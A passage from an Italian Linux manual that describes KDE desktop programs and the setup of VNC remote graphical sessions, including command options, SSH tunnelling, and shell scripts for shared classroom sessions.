Gnome panel è un'altra applicazione importante che consente di avere sempre a portata di mano un menù da cui avviare le applicazioni. Sulla barra di questo menù possono risiedere anche delle icone per l'avvio rapido dei programmi più importanti, oppure delle ***applet*** (applicazioncine), ovvero programmi che graficamente hanno dimensioni ridotte. Il programma in questione corrisponde all'eseguibile '**`panel`**'.

Figura 31.180. Gnome panel, dove si vedono in particolare due bottoni per l'avvio rapido di applicazioni importanti.

31.13.5 KDE

KDE,[29] ovvero *K desktop environment*, è un altro gestore di sessione, paragonabile a Gnome. Il programma eseguibile che rappresenta in pratica il gestore di sessione è '**`kde2`**'. Come nel caso di Gnome, il fatto di avviarlo non produce nulla di particolare sullo schermo grafico, salvo il fatto che è possibile configurare l'avvio automatico di altri programmi di contorno, come per esempio il gestore di finestre.

A proposito della dipendenza dei processi elaborativi, è da osservare che le applicazioni avviate dal gestore di sessione KDE non risultano discendere da '**`kde2`**', ma da '**`kdeinit`**'; oppure, a seconda dei casi, possono discendere direttamente da Init. Nell'esempio seguente si vedono tre terminali aperti con la shell Bash:

```
init-+
     |
    ...
     |-kdeinit-+-artsd---artsd
     |         |-kdeinit
     |         `-3*[kdeinit---bash]
     |-7*[kdeinit]
     |-kdeinit---cat
     `-kdm-+-XFree86
           `-kdm---kde2-+-ksmserver
                        `-ssh-agent
```

È probabile che non si riesca a vedere se non si usa semplicemente '**ps**' per conoscere l'elenco dei processi attivi, ma esiste un programma fondamentale per KDE, denominato '**kdesktop**', il cui scopo è quello di controllare il fondale, sul quale si depositano alcune icone. In altre parole, si tratta di un processo grafico che non si inserisce in una finestra e ricopre la superficie grafica, rappresentando in pratica la scrivania grafica di KDE.

In condizioni normali, KDE utilizza un menù alla base della superficie grafica dello schermo, corrispondente al programma '**kicker**', come si vede qui sotto:

I programmi che fanno parte della raccolta di KDE sono molti (spesso si tratta di derivazioni di altri programmi già esistenti, modificati in modo da usare le stesse librerie grafiche e armonizzare così l'estetica generale), caratterizzati comunemente dall'iniziale comune: «k». Alcuni di questi programmi sono molto importanti per l'ambiente e vengono descritti brevemente nelle sezioni seguenti.

31.13.5.1 Kpersonalizer

Kpersonalizer, a cui corrisponde l'eseguibile omonimo ('**kpersonalizer**'), consente una configurazione generale guidata. In particolare, come si vede nella figura 31.183, si imposta la disposizione della tastiera e la nazionalità.

Figura 31.183. Kpersonalizer.

31.13.5.2 Kcontrol

Lo stesso Kpersonalizer suggerisce di usare Kcontrol, ovvero il centro di controllo, alla fine della personalizzazione generale, per la definizione più dettagliata della configurazione di KDE. L'eseguibile corrispondente è '**`kcontrol`**'.

Figura 31.184. Kcontrol.

Kcontrol consente di visualizzare molti aspetti del sistema, anche se per questo, con GNU/Linux è sufficiente accedere alla directory '`/proc/`'.

31.13.5.3 Kmenuedit

Kmenuedit consente di modificare agevolmente l'elenco delle voci contenute nel menù (il menù è gestito in pratica da '**`kicker`**').

Figura 31.185. Kmenuedit.

Eventualmente, è disponibile anche Kappfinder per ottenere una scansione automatica degli applicativi disponibili e il conseguente aggiornamento del menù in modo automatico.

Figura 31.186. Kappfinder.

31.13.5.4 Khelpcenter

Khelpcenter è un sistema integrato per la navigazione della documentazione. In pratica, consente di leggere la documentazione specifica di KDE, ma anche quella comune dei sistemi Unix e dei sistemi GNU (Info). La figura 31.187 mostra in particolare l'accesso alle pagine di manuale.

Figura 31.187. Khelpcenter.

31.14 Accesso remoto alla sessione di lavoro

Con un terminale a caratteri è possibile gestire una sessione di lavoro trasferibile successivamente in un altro terminale, attraverso il programma Screen (sezione 15.13); in modo simile, è possibile agire per quanto riguarda la sessione di lavoro con un servente X, attraverso VNC,[30] ovvero *Virtual network computing*.

È bene ricordare che X offre già la possibilità di eseguire un programma in un elaboratore, mostrandone le finestre nel servente di un altro (sezione 31.5.5). Diversamente da questa modalità comune di utilizzo di X, VNC consente di controllare tutto il servente grafico e il gestore di finestre (o anche il gestore di sessione) relativo. Inoltre, VNC consente anche un accesso simultaneo da parte di più terminali remoti, solitamente per permettere la visualizzazione di ciò che avviene.

> VNC è uno strumento utile soprattutto nell'ambito di una rete locale protetta dall'esterno, dal momento che utilizza una comunicazione in chiaro e che l'accesso al servente è controllato semplicemente da una parola d'ordine.

31.14.1 Funzionamento di VNC in generale

VNC si compone essenzialmente di un programma servente, con le funzionalità grafiche di X, il quale non si collega a una stazione grafica e viene usato attraverso un programma cliente apposito. Questo servente comunica nel modo consueto, come un servente X normale (connessioni TCP alle porte 6000+***n***) a cui si aggiunge la comunicazione necessaria al controllo attraverso il proprio cliente specifico, con le porte 5900+***n***.

Figura 31.188. Comunicazione tra il servente e il cliente VNC.

servente VNC

Xvnc

dinkel.brot.dg:1

192.168.1.1:5901

cliente VNC

192.168.1.2:12345

xvncviewer

roggen.brot.dg

La figura mostra una situazione comune, in cui un elaboratore ospita un servente VNC, *`dinkel.brot.dg`*, che offre la stazione grafica virtuale '**`:1`**'. In tal modo, la comunicazione con il servente avviene alla porta 5901 (ovvero 5900 più il numero corrispondente alla stazione grafica virtuale).

Nell'elaboratore che ospita il servente VNC, l'interazione con questo non risulta apparente, a meno di avviare nello stesso un cliente VNC.

Il cliente VNC, a sua volta, potrebbe essere autonomo, oppure richiedere un servente X normale per poter funzionare. Il programma mostrato in figura è un esempio di cliente che richiede X per poter funzionare.

Un servente VNC può essere utilizzato da un solo cliente, oppure può essere consentito un accesso simultaneo da parte di più clienti; in tal caso, probabilmente, viene concesso a uno solo di interagire, mentre agli altri è permesso solo osservare. Pertanto, le situazioni più comuni di utilizzo di un sistema grafico basato su VNC sono due: l'esigenza di mantenere in funzione una sessione di lavoro grafica, a cui poter accedere da un terminale remoto, sospendendo e riprendendo la connessione anche da altre posizioni; oppure l'esigenza di fare un lavoro che altri utenti possono visualizzare, senza bisogno di un proiettore.

L'accesso a un servente VNC è controllato esclusivamente attraverso il confronto di una parola d'ordine, definita in modo indipendente dal meccanismo di riconoscimento degli utenti del sistema operativo.

31.14.2 Avvio e conclusione del funzionamento del servente VNC in un sistema GNU

Il funzionamento del servente VNC dipende dalla configurazione del servente X: se X non funziona correttamente a causa di un difetto di configurazione, anche il servente VNC non può funzionare. Pertanto, di solito si avvia un servente VNC da una sessione X già attiva, probabilmente da una finestra di terminale:

```
vncserver [:n_stazione_grafica] [opzioni]
```

Il programma '**vncserver**' è in realtà un involucro per controllare l'avvio di '**Xvnc**', '**Xrealvnc**' o '**Xtightvnc**' (dipende dall'edizione e ci possono essere anche altri nomi), che è invece il vero servente VNC.

Generalmente, l'avvio del servente VNC avviene sulla stazione grafica '**:1**', anche quando la stazione grafica '**:0**' non risulta impegnata, salvo che sia indicato diversamente con le opzioni della riga di comando.

Quando un utente avvia per la prima volta un servente VNC nel modo descritto, questo crea la directory '`~/.vnc/`', in cui vengono annotate le informazioni sulle sessioni di lavoro relative, oltre a un file contenente una parola d'ordine cifrata, che serve per consentire l'accesso successivo. In ogni caso, la prima volta provvede '**vncserver**' a preparare tutto; l'esempio seguente si riferisce all'utente '**tizio**' presso l'elaboratore *dinkel.brot.dg*:

$ **vncserver** [*Invio*]

```
You will require a password to access your desktops.
```

Password: ***digitazione_all'oscuro*** [*Invio*]

Verify: ***digitazione_all'oscuro*** [*Invio*]

```
New 'X' desktop is dinkel:1

Starting applications specified in /etc/X11/Xsession
Log file is /home/tizio/.vnc/dinkel:1.log
```

Come si può intendere, viene richiesta l'indicazione e la conferma di una parola d'ordine, che non può essere troppo breve, la quale viene conservata nel file '`~/.vnc/passwd`' in forma cifrata. Quando l'utente dovesse avviare nuovamente un servente VNC, disponendo già di questo file, non verrebbe più chiesta la parola d'ordine, rimanendo la stessa già stabilita in precedenza.

Superata questa fase, viene avviato effettivamente il servente VNC. Nell'esempio risulta avviato sulla stazione grafica virtuale '**:1**'; pertanto, per poterlo raggiungere, si deve usare un indirizzo del tipo *dinkel.brot.dg:1* (in generale conviene evitare la forma abbreviata che viene suggerita da '**vncserver**').

Al termine, '**vncserver**' ricorda dove si può trovare il file in cui sono annotate le informazioni specifiche sull'avvio del servente VNC, che diventa molto utile quando questo non si avvia

come si desidera, per scoprire l'origine del problema. In generale, questo file ha la forma: '~/.vnc/***nodo*** : ***n_stazione_grafica*** .log'.

Non sono da escludere problemi di configurazione di XFree86, che XFree86 stesso è in grado di superare, mentre il servente VNC non può.

Inizialmente, il contenuto di questo file può essere simile al testo seguente:

```
15/12/02 09:09:00 Xvnc version 3.3.5 - built Nov 22 2002 09:33:52
15/12/02 09:09:00 Copyright (C) 2002 RealVNC Ltd.
15/12/02 09:09:00 Copyright (C) 1994-2000 AT&T Laboratories Cambridge.
15/12/02 09:09:00 All Rights Reserved.
15/12/02 09:09:00 See http://www.realvnc.com for information on VNC
15/12/02 09:09:00 Desktop name 'X' (dinkel:1)
15/12/02 09:09:00 Protocol version supported 3.3
15/12/02 09:09:00 Listening for VNC connections on TCP port 5901
```

Eventualmente, se sono stati installati i componenti necessari di VNC, '**vncserver**' avvia il servente VNC in modo da offrire anche un accesso HTTP alla porta 5800+***n***, per mezzo del quale, con un navigatore in grado di mettere in funzione programmi Java, è possibile accedere in mancanza di un programma cliente migliore. In tal caso, si può osservare questo fatto nello stesso file appena mostrato:

```
15/12/02 09:09:00 Listening for HTTP connections on TCP port 5801
15/12/02 09:09:00   URL http://dinkel:5801
```

In questo caso, l'indirizzo per accedere è preferibilmente *http://dinkel.brot.dg:5801*.

Se si vuole avviare il servente VNC senza avviare prima X, le cose si complicano un po'. Infatti, quando ciò è possibile, X determina da solo alcune informazioni sul funzionamento dell'adattatore grafico e sulle capacità dello schermo reale; pertanto, quando si avvia il servente VNC da una sessione di X già attiva, le stesse informazioni vengono utilizzate da VNC, mentre in mancanza di queste, il funzionamento di VNC dipenderebbe da parametri predefiniti, spesso non gradevoli. Per esempio, avviando un servente VNC senza l'appoggio di un servente XFree86 preesistente, si ottiene una stazione grafica impostata sostanzialmente per un adattatore di tipo VGA standard (640×480 punti grafici e una profondità di colori modesta). L'esempio seguente mostra l'avvio di un servente VNC, attraverso '**vncserver**', al di fuori di una sessione di lavoro con X, dove si specifica la dimensione della superficie grafica (1 024×768 punti grafici) e la profondità di colori (16 bit):

$ **vncserver -depth 16 -geometry 1024x768** [*Invio*]

Per concludere il funzionamento del servente VNC, presso l'elaboratore locale, si può usare '**vncserver**' con l'opzione '**-kill**':

vncserver -kill :***n_stazione_grafica***

Al termine della descrizione dell'avvio di un servente VNC, è bene chiarire che, quando accede un cliente VNC, se già esiste un altro programma cliente collegato, generalmente questo

(quello preesistente) termina di funzionare. In pratica, in condizioni normali, si suppone che l'utente che accede a un servente VNC sia l'unico autorizzato a farlo, pertanto, se è rimasta una sessione aperta, ciò è dovuto probabilmente a una dimenticanza dello stesso. Per consentire degli accessi simultanei al servente VNC, è necessaria l'opzione '**`-alwaysshared`**', come descritto nella tabella seguente, che riepiloga alcune opzioni per l'avvio dell'involucro '**`vncserver`**'.

Tabella 31.193. Alcune opzioni della riga di comando di '**`vncserver`**'.

Opzione o argomento	Descrizione
:***n_stazione_grafica***	Consente di indicare espressamente il numero di stazione grafica da utilizzare. In mancanza di questa informazione dovrebbe trattarsi di '**`:1`**'.
`-geometry` ***n_punti_larghezza***`x`***n_punti_altezza***	Definisce la dimensione della superficie grafica da utilizzare, in punti grafici.
`-depth` ***n_bit***	Definisce la profondità di colori espressa in numero di bit.
`-nevershared` `-alwaysshared`	Consente di impedire o consentire la condivisione multipla del servente. In pratica, la prima delle due opzioni è quella predefinita, per fare in modo che solo un accesso per volta sia permesso.
`-startup` ***programma***	Avvia all'interno del servente grafico il programma o lo script indicato.
`-kill` :***n_stazione_grafica***	Conclude il funzionamento del servente, in funzione nell'elaboratore locale, controllando la stazione grafica indicata.

31.14.3 Avvio del servente VNC in condizioni difficili in un sistema GNU

L'impostazione effettiva di un servente X in una distribuzione GNU, può essere molto complessa. In altri termini, il funzionamento di '**`xinit`**' e di '**`startx`**', non è perfettamente uniforme da una distribuzione all'altra, spesso per la necessità di arginare dei problemi di sicurezza. Pertanto, qualsiasi sia la ragione, può succedere che un servente VNC non si comporti come ci si aspetterebbe; si può arrivare anche a vedere funzionare il servente, ma senza un gestore di finestre o un gestore di sessione.

Di fronte a problemi di questo tipo, può essere più conveniente avviare direttamente il servente VNC senza l'aiuto dell'involucro '**`vncserver`**', predisponendo uno script adatto alle proprie esigenze. Vengono mostrati qui due script: uno per controllare '**`Xvnc`**', ovvero l'eseguibile del servente VNC, l'altro per controllare l'avvio di un gestore di finestre, chiamato all'interno del primo. A fianco di questi esempi, ne vengono mostrati comunque anche di equivalenti in cui si utilizza '**`vncserver`**', ma in modo da ottenere lo stesso risultato, perché alle volte può essere vero il contrario, ovvero che senza '**`vncserver`**' non si riesca ad avviare VNC.

Come già accennato, il programma eseguibile del servente VNC può essere denominato '**Xvnc**', '**Xrealvnc**' o '**Xtightvnc**', a seconda dell'edizione. Tuttavia, è normale che sia disponibile almeno un collegamento simbolico che consenta l'uso del nome '**Xvnc**'.

```
#!/bin/sh
# vncs1024

# X fonts.
VNC_FONTS=\
/usr/lib/X11/fonts/misc,\
/usr/lib/X11/fonts/75dpi,\
/usr/lib/X11/fonts/100dpi/,\
/usr/lib/X11/fonts/Type1/,\
/usr/lib/X11/fonts/Speedo/

# Quit old VNC servers and reset personal configuration.
killall Xvnc 2> /dev/null
killall Xrealvnc 2> /dev/null
killall Xtightvnc 2> /dev/null
rm -rf    ~/.vnc
mkdir     ~/.vnc
vncpasswd ~/.vnc/passwd

# Start VNC server at screen :1, using ~/.vnc/log for log file.
Xvnc :1 -auth ~/.Xauthority -geometry 1024x768 -depth 16 \
    -rfbwait 120000 -rfbauth ~/.vnc/passwd -rfbport 5901 \
    -fp $VNC_FONTS -co /etc/X11/rgb \
    -dpi 100 2> ~/.vnc/log &

# Start the window manager inside a wrap script.
# After window manager run, the VNC server should be killed, by
# the wrap script.
vncwm &
```

```
#!/bin/sh
# vncwm
xloadimage -display :1 -onroot -fullscreen ~/.wallpaper
fvwm -display :1  2> /dev/null ; killall Xvnc ; \
                                 killall Xrealvnc ; \
                                 killall Xtightvnc
```

Il primo di questi due script, denominato qui '**vncs1024**', definisce inizialmente una variabile di ambiente, contenente l'elenco delle directory dei caratteri di X (questa informazione può essere tratta eventualmente dal file di configurazione di X: '`/etc/X11/XF86Config*`', '`/etc/X11/xorg.conf`', ecc.). Successivamente elimina i processi avviati con il nome '**Xvnc**', '**Xrealvnc**' o '**Xtightvnc**', ammesso che ce ne siano, poi elimina anche il contenuto del-

la directory '`~/.vnc/`'; quindi chiede di definire una parola d'ordine nuova, con l'aiuto di '**`vncpasswd`**'.

Quando tutto è pronto, si avvia l'eseguibile '**`Xvnc`**', utilizzando la stazione grafica '**`:1`**' (come fa normalmente '**`vncserver`**'), con un elenco piuttosto lungo di opzioni, come si può vedere dall'esempio. In particolare, in questo caso, si specifica una dimensione della superficie grafica di 1024×768 punti grafici, inviando il flusso dello standard error nel file '`~/.vnc/log`', per poter sapere ciò che accade. Si osservi inoltre che '**`Xvnc`**' viene avviato sullo sfondo in modo esplicito.

Infine si avvia uno script '**`vncwm`**', il cui scopo è quello di avviare un gestore di finestre e di chiudere il funzionamento di '**`Xvnc`**', '**`Xrealvnc`**' o '**`Xtightvnc`**', al termine del funzionamento di questo. Infatti, come si vede, lo script carica un fondale e avvia Fvwm: al termine del funzionamento di Fvwm elimina tutti i processi con il nome '**`Xvnc`**', '**`Xrealvnc`**' e '**`Xtightvnc`**'.

Naturalmente, in questo modo si può avviare un solo servente VNC alla volta.

Da quanto visto si intuisce la sintassi per l'avvio dell'eseguibile '**`Xvnc`**':

`Xvnc` [`:`***n_stazione_grafica***] [`opzioni`]

Segue la descrizione di alcune opzioni della riga di comando.

Tabella 31.196. Alcune opzioni della riga di comando di '**`Xvnc`**'. Si osservi che a seconda della realizzazione di VNC, alcune opzioni potrebbero non funzionare.

Opzione o argomento	Descrizione
`:`***n_stazione_grafica***	Consente di indicare espressamente il numero di stazione grafica da utilizzare. In mancanza di questa informazione si tenta di usare '**`:0`**'.
`-auth` ***file***	Definisce il nome del file usato per l'autenticazione di X.
`-geometry` ***n_punti_larghezza***`x`***n_punti_altezza***	Definisce la dimensione della superficie grafica da utilizzare, in punti grafici.
`-depth` ***n_bit***	Definisce la profondità di colori espressa in numero di bit.
`-nevershared` `-alwaysshared`	Consente di impedire o consentire la condivisione multipla del servente. In pratica, la prima delle due opzioni è quella predefinita, per fare in modo che solo un accesso per volta sia permesso.
`-rfbwait` ***n_millisecondi***	Definisce il tempo massimo di attesa, in millisecondi, per un cliente VNC.
`-rfbauth` ***file***	Definisce il file contenente la parola d'ordine cifrata che serve per consentire l'accesso.
`-rfbport` ***n_porta***	Definisce il numero della porta usata per la comunicazione con i clienti VNC.

Opzione o argomento	Descrizione
`-fp` ***stringa***	Definisce l'elenco dei percorsi delle directory contenenti informazioni sui caratteri tipografici da usare.
`-co` ***file***	Definisce il file contenente le informazioni sui colori, senza l'estensione '`.txt`'. Generalmente si ricopia il percorso indicato nella direttiva '**`RgbPath`**' del file '`/etc/X11/XF86Config[-4]`' o '`/etc/X11/xorg.conf`'.
`-dpi` ***n_punti***	Definisce la risoluzione in punti per pollice.

In alternativa all'avvio diretto di '**`Xvnc`**', il comando di avvio potrebbe essere sostituito così:

```
...
# Start VNC server at screen :1, using ~/.vnc/log for log file.
vncserver :1 -auth ~/.Xauthority -geometry 1024x768 -depth 16 \
    -rfbwait 120000 -rfbauth ~/.vnc/passwd -rfbport 5901 \
    -fp $VNC_FONTS -co /etc/X11/rgb \
    -dpi 100 \
    -startup true 2> ~/.vnc/log &
...
```

Si può osservare la comparsa dell'opzione '**`-startup`**', con la quale si vuole evitare che '**`vncserver`**' avvii autonomamente un gestore di sessione o altro, che comunque viene già controllato all'interno del proprio script.

31.14.4 Configurazione e utilizzo dei caratteri tipografici

Non esiste una configurazione vera e propria del servente VNC; esiste piuttosto una configurazione di '**`vncserver`**', che di solito si lascia commentata completamente. In ogni caso, si tratta del file '`/etc/vnc.conf`' ed eventualmente di '`~/.vncrc`'.

L'utilizzo di questi file diventa utile, quindi, solo se si avvia il servente VNC attraverso '**`vncserver`**' e si sono manifestati dei problemi a cui si pone rimedio solo con la configurazione.

Una situazione in cui è necessario intervenire nella configurazione è la presenza di direttive '**`FontPath`**' nel file di configurazione di X ('`/etc/X11/XF86Config*`', '`/etc/X11/xorg.conf`', ecc.), che fanno riferimento a caratteri tipografici non esistenti; per esempio quando queste informazioni sono fornite da un servente di caratteri che in quel momento non risulta rispondere. In tal caso, si può specificare nella configurazione quali percorsi sono sicuri, tralasciando il superfluo.

31.14.5 Accesso a un servente VNC

Si può accedere a un servente VNC con diversi programmi, ma in un sistema GNU dovrebbe essere preferibile farlo attraverso '**xvncviewer**'. Come lascia intuire il nome, si tratta di un programma che richiede l'uso di un servente X già attivo, che mostra poi la stazione grafica remota in una finestra di quella locale.

Di solito è necessario avviare '**xvncviewer**' da una finestra di terminale, per poter specificare a quale nodo di rete e a quale stazione grafica collegarsi. Si utilizza la sintassi seguente:

```
xvncviewer [opzioni] nodo:n_stazione_grafica
```

Se nella riga di comando non viene specificata l'opzione '**-passwd**' (con la quale si indica un file contenente una parola d'ordine cifrata), è necessario inserire la parola d'ordine per l'accesso al servente VNC:

$ **xvncviewer dinkel.brot.dg:1** [*Invio*]

```
VNC viewer version 3.3.5 - built Nov 22 2002 09:31:25
Copyright (C) 2002 RealVNC Ltd.
Copyright (C) 1994-2000 AT&T Laboratories Cambridge.
See http://www.realvnc.com for information on VNC.
VNC server supports protocol version 3.3 (viewer 3.3)
```

Password: ***digitazione_all'oscuro*** [*Invio*]

Successivamente vengono visualizzate altre informazioni, quindi appare la finestra relativa alla comunicazione con il servente VNC.

Se quello che si vede è solo uno sfondo grigio, senza applicazioni attive, dove premendo i tasti del mouse non si ottiene nulla, è probabile che il servente VNC sia stato avviato senza un gestore di finestre o un gestore di sessione.

Quando si vuole visualizzare semplicemente ciò che accade in un servente VNC, senza poter interferire, mentre un altro cliente VNC sta interagendo, si può usare l'opzione '**-viewonly**', assieme a '**-shared**'. Eventualmente, dalla parte del servente si può usare l'opzione '**-alwaysshared**' per garantire che sia consentito l'accesso simultaneo da parte di più clienti (questa opzione vale sia per l'avvio diretto di '**Xvnc**', sia per l'involucro '**vncserver**'):

$ **xvncviewer -viewonly dinkel.brot.dg:1** [*Invio*]

Segue la descrizione di alcune opzioni.

Tabella 31.199. Alcune opzioni della riga di comando di '**`xvncviewer`**'.

Opzione o argomento	Descrizione
nodo **:** ***n_stazione_grafica***	Consente di indicare il nodo di rete e il numero di stazione grafica da utilizzare.
`-shared`	Richiede una connessione a un servente VNC, consentendo esplicitamente la condivisione dello stesso con altri clienti.
`-viewonly`	Richiede una connessione a un servente VNC per la sola visualizzazione di ciò che accade. Di solito si usa assieme all'opzione '**`-shared`**'.
`-fullscreen`	Fa in modo di funzionare occupando tutta la superficie disponibile, senza il contorno di una finestra.
`-passwd` ***file***	Consente di specificare un file contenente una parola d'ordine cifrata, che dovrebbe corrispondere a quanto utilizzato dallo stesso servente, in modo da non richiedere all'utente l'inserimento della stessa.

31.14.6 Utilizzo comune di VNC

La situazione in cui è più comune l'utilizzo di VNC è quella dell'utente che si trova lontano dal proprio elaboratore, al quale può comunque accedere attraverso la rete. In generale, in questo elaboratore remoto non è già in funzione alcun servente VNC, pertanto conviene avviare X nell'elaboratore di cui si dispone temporaneamente; quindi, da lì, con una finestra di terminale, si può contattare l'elaboratore remoto e avviare il servente VNC. Se tutto funziona correttamente, il servente VNC viene avviato con caratteristiche compatibili alla grafica di cui si dispone effettivamente; quindi ci si può collegare con un cliente VNC.

elaboratore_locale `$` **`ssh tizio@dinkel.brot.dg`** [*Invio*]

In questo modo ci si collega all'elaboratore *`dinkel.brot.dg`* utilizzando l'utenza '**`tizio`**'. Successivamente si avvia il servente VNC presso l'elaboratore remoto:

elaboratore_remoto `$` **`vncserver`** [*Invio*]

Quindi, se tutto ha funzionato correttamente ci si collega con un cliente VNC:

elaboratore_remoto `$` **`exit`** [*Invio*]

elaboratore_locale `$` **`xvncviewer dinkel.brot.dg:1`** [*Invio*]

31.14.7 VNC attraverso un tunnel cifrato con il protocollo SSH

Attraverso Secure Shell (sezione 49.7) è possibile creare un tunnel cifrato, per utilizzare con più tranquillità l'accesso a un servente VNC. Viene riproposto l'esempio di utilizzo comune, utilizzando un tunnel del genere:

elaboratore_locale `$` **`ssh tizio@dinkel.brot.dg`** [*Invio*]

In questo modo ci si collega all'elaboratore *`dinkel.brot.dg`* utilizzando l'utenza '**`tizio`**'. Successivamente si avvia il servente VNC presso l'elaboratore remoto:

elaboratore_remoto `$` **`vncserver`** [*Invio*]

Dall'elaboratore locale ci si collega nuovamente con l'elaboratore remoto per creare un tunnel cifrato:

elaboratore_remoto $ **exit** [*Invio*]

elaboratore_locale $ **ssh -N -L 5901:dinkel.brot.dg:5901** [*Invio*]

A questo punto, invece di contattare direttamente l'elaboratore remoto *dinkel.brot.dg*, è invece sufficiente collegarsi a quello locale; prima però, conviene mettere il programma '**ssh**' sullo sfondo:

[*Ctrl z*]

elaboratore_locale $ **bg** [*Invio*]

elaboratore_locale $ **xvncviewer localhost:1** [*Invio*]

31.14.8 Inserire VNC automaticamente all'avvio di X

È possibile realizzare uno script con cui si avvia un servente VNC e subito dopo X con un cliente VNC, a tutto schermo, che punta esattamente al servente locale, senza interferire con l'utente. Questo tipo di tecnica può servire in un laboratorio didattico in due casi: quando l'insegnante vuole avviare una sessione di lavoro grafica, pronta subito perché gli studenti vi si possano collegare, evitando così di utilizzare una lavagna luminosa; quando si vuole fare avviare agli studenti la sessione di lavoro grafica in modo che l'insegnante abbia la possibilità di intervenire sul loro lavoro, senza doversi spostare fisicamente dalla sua postazione.

```
#!/bin/sh
# vncsc1024

# X fonts.
VNC_FONTS=\
/usr/lib/X11/fonts/misc,\
/usr/lib/X11/fonts/75dpi,\
/usr/lib/X11/fonts/100dpi/,\
/usr/lib/X11/fonts/Type1/,\
/usr/lib/X11/fonts/Speedo/

# Quit old VNC servers and reset personal configuration.
killall Xvnc 2> /dev/null
killall Xrealvnc 2> /dev/null
killall Xtightvnc 2> /dev/null
rm -rf    ~/.vnc
mkdir     ~/.vnc
vncpasswd ~/.vnc/passwd

# Start VNC server at screen :1, using ~/.vnc/log for log file.
Xvnc :1 -auth ~/.Xauthority -geometry 1024x768 -depth 16 \
    -rfbwait 120000 -rfbauth ~/.vnc/passwd -rfbport 5901 \
    -fp $VNC_FONTS -co /etc/X11/rgb \
    -alwaysshared nologo -dpi 100 2> ~/.vnc/log &
```

```
# Start the window manager inside a wrap script.
# After window manager run, the VNC server should be killed, by
# the wrap script.
vncwm &

# Start xinit with xvncviewer as a client
xinit /usr/bin/xvncviewer -fullscreen -passwd ~/.vnc/passwd localhost:1
```

Come si può osservare, questo esempio è molto simile a quanto già visto in una sezione precedente, dove la novità sta nell'avviare, dopo lo script '**vncwm**', '**xinit**' specificando l'avvio di '**xvncviewer**' al posto del solito gestore di finestre. Naturalmente, lo script '**vncwm**' rimane tale e quale a prima:

```
#!/bin/sh
# vncwm
xloadimage -display :1 -onroot -fullscreen ~/.wallpaper
fvwm -display :1  2> /dev/null ; killall Xvnc ; \
                                 killall Xrealvnc ; \
                                 killall Xtightvnc
```

Come si può intuire, lo script che qui è stato chiamato '**vncsc1024**' è adatto per l'insegnante (o il relatore) che vuole consentire l'accesso ai suoi studenti, a cui deve comunicare anche la parola d'ordine per accedere, che come si vede viene sostituita ogni volta. Diversamente, se si vuole realizzare uno script da fare usare agli studenti al posto del solito '**startx**', si deve fare in modo che il file della parola d'ordine sia già stato preparato e sia «standard»; l'estratto seguente mostra solo le istruzioni salienti da modificare:

```
# Quit old VNC servers and reset personal configuration.
killall Xvnc 2> /dev/null
killall Xrealvnc 2> /dev/null
killall Xtightvnc 2> /dev/null
rm -rf    ~/.vnc
mkdir     ~/.vnc
cp /etc/vnc/sharedx.passwd ~/.vnc/passwd
chmod 0600 ~/.vnc/passwd
```

Anche qui è possibile utilizzare '**vncserver**' con l'aggiunta dell'opzione '**-startup**':

```
...
# Start VNC server at screen :1, using ~/.vnc/log for log file.
Xvnc :1 -auth ~/.Xauthority -geometry 1024x768 -depth 16 \
    -rfbwait 120000 -rfbauth ~/.vnc/passwd -rfbport 5901 \
    -fp $VNC_FONTS -co /etc/X11/rgb \
    -alwaysshared nologo -dpi 100 \
    -startup true 2> ~/.vnc/log &
...
```

31.14.9 RealVNC e TightVNC

I due filoni principali dello sviluppo di VNC sono rappresentati da RealVNC e da TightVNC. In generale, questi lavori sono abbastanza compatibili tra di loro, comunque vale la pena di conoscere i nomi con cui potrebbero essere distinti i programmi e gli script che li riguardano:

VNC	VNC4	RealVNC	TightVNC
'**Xvnc**'	'**Xvnc4**'	'**Xrealvnc**'	'**Xtightvnc**'
'**vncserver**'	'**vnc4server**'	'**realvncserver**'	'**tightvncserver**'
'**xvncviewer**'	'**xvnc4viewer**'	'**xrealvncviewer**'	'**xtightvncviewer**'
'**vncconnect**'	'**vnc4connect**'	'**realvncconnect**'	'**tightvncconnect**'
'**vncpasswd**'	'**vnc4passwd**'	'**vncpasswd.real**'	--

31.14.10 Script «vncrc»

La distribuzione NLNX (volume III) includeva uno script, denominato '**vncrc**' (oggi incorporato in '**nlnxrc**'), con lo scopo di facilitare l'uso di VNC (RealVNC o TightVNC), nelle situazioni più comuni. Viene proposta qui una versione semplificata di quello script, che potrebbe essere utile anche al di fuori del contesto particolare di NLNX..

```
#!/bin/sh
##
## Multipurpose script to use VNC.
##
#
# Main variables.
#
TEMPORARY=`tempfile`
touch $TEMPORARY
SELECTION=""
#
GEOMETRY=""
DEPTH=""
#
VNC_REMOTE_SERVER=`cat /etc/nlnx/all/VNC_REMOTE_SERVER 2> /dev/null`
VNC_REMOTE_SERVERS=`cat /etc/nlnx/all/VNC_REMOTE_SERVERS 2> /dev/null`
#
# Encripted default password.
# bla bla bla: zxdftipe
#
ENCRIPTED_PASSWORD="zxdftipe"
PASSWORD_FILE="$HOME/.vnc/passwd"
#
# X fonts.
#
VNC_FONTS=\
/usr/lib/X11/fonts/misc/,\
/usr/lib/X11/fonts/75dpi/:unscaled,\
/usr/lib/X11/fonts/100dpi/:unscaled,\
/usr/lib/X11/fonts/75dpi/,\
/usr/lib/X11/fonts/100dpi/,\
/usr/lib/X11/fonts/Type1/,\
```

```
/usr/lib/X11/fonts/Speedo/
#
# Command line arguments.
#
PROGRAM_NAME=`basename $0`
ARGUMENTS="$@"
#
# Main menu.
#
# srvr  = server
# cclnt = controlling client
# vclnt = viewing client
#
main_menu () {
    if dialog   \
        --clear \
        --title "VNC run commands" \
        --menu "VNC server works at \":1\" and X works at \":0\"" \
        0 0 0 \
        "vncs"            "srvr             + new password" \
        "vncsc"           "srvr + cclnt + X + new password" \
        "vnccx"           "       cclnt + X + password \"$PASSWORD_FILE\"" \
        "vncvx"           "       vclnt + X + password \"$PASSWORD_FILE\"" \
        "vncc"            "       cclnt + X + password \"$PASSWORD_FILE\"" \
        "vncv"            "       vclnt + X + password \"$PASSWORD_FILE\"" \
        "sharedx"         "srvr + cclnt + X + default password" \
        "takesharedx"     "       cclnt + X + default password" \
        "viewsharedx"     "       vclnt + X + default password" \
        2> $TEMPORARY
    then
        SELECTION=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        # Test if the command can be done
        #
        if false
        then
            #
            # There are troubles... (to be done).
            #
            dialog --msgbox "There are unknown troubles..." 0 0
        else
            #
            # Continue as run with this command name (arguments included).
            #
            PROGRAM_NAME="$SELECTION"
        fi
    fi
}
#
# sharedx.
#
start_shared_x () {
```

```
    #
